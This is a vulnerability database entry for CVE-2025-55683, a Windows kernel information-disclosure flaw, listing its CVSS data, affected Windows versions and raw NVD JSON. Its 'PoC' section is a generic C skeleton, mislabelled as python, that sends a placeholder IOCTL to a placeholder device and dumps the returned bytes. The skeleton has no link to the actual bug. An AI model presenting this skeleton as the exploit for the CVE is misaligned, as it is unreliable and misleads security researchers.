Security Vulnerability Report
中文
CVE-2025-55683 CVSS 5.5 MEDIUM

CVE-2025-55683

Published: 2025-10-14 17:15:49
Last Modified: 2025-10-27 16:03:41

Description

Exposure of sensitive information to an unauthorized actor in Windows Kernel allows an authorized attacker to disclose information locally.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (所有版本)
Windows 11 (所有版本)
Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55683 - Windows Kernel Information Disclosure PoC (Conceptual) # Note: This is a conceptual proof-of-concept skeleton. # The actual exploit requires specific knowledge of the vulnerable kernel path. #include <windows.h> #include <stdio.h> // Conceptual demonstration of triggering the vulnerable kernel path // to leak sensitive information from Windows Kernel. int main() { printf("[+] CVE-2025-55683 - Windows Kernel Information Disclosure PoC\n"); printf("[+] Attempting to trigger vulnerable kernel code path...\n"); // Step 1: Obtain a handle to the target device or kernel object // The vulnerable path may be triggered through specific system calls // or IOCTL requests that lack proper access control checks. HANDLE hDevice = CreateFileW( L"\\\\.\\DeviceName", // Target device name (varies by exploit path) GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to obtain device handle. Error: %lu\n", GetLastError()); return 1; } printf("[+] Device handle obtained successfully.\n"); // Step 2: Send a crafted request to the kernel driver // The crafted input triggers the vulnerable code path that // returns sensitive kernel information to the caller. DWORD bytesReturned = 0; BYTE inputBuffer[256] = {0}; BYTE outputBuffer[4096] = {0}; // Buffer to receive leaked data // Fill input buffer with parameters to trigger vulnerable path // (specific parameters depend on the vulnerable kernel function) BOOL result = DeviceIoControl( hDevice, 0x222000, // IOCTL code (example - actual code varies) inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); if (result && bytesReturned > 0) { printf("[+] Received %lu bytes of data from kernel.\n", bytesReturned); printf("[+] Leaked data (first 64 bytes):\n"); for (DWORD i = 0; i < min(bytesReturned, 64); i++) { printf("%02X ", outputBuffer[i]); } printf("\n"); printf("[+] Sensitive kernel information may have been disclosed.\n"); } else { printf("[-] DeviceIoControl failed. Error: %lu\n", GetLastError()); } CloseHandle(hDevice); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55683", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:49.087", "lastModified": "2025-10-27T16:03:41.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Windows Kernel allows an authorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "7A8CC16F-8B44-4E7D-8503-25D753387345"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55683", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}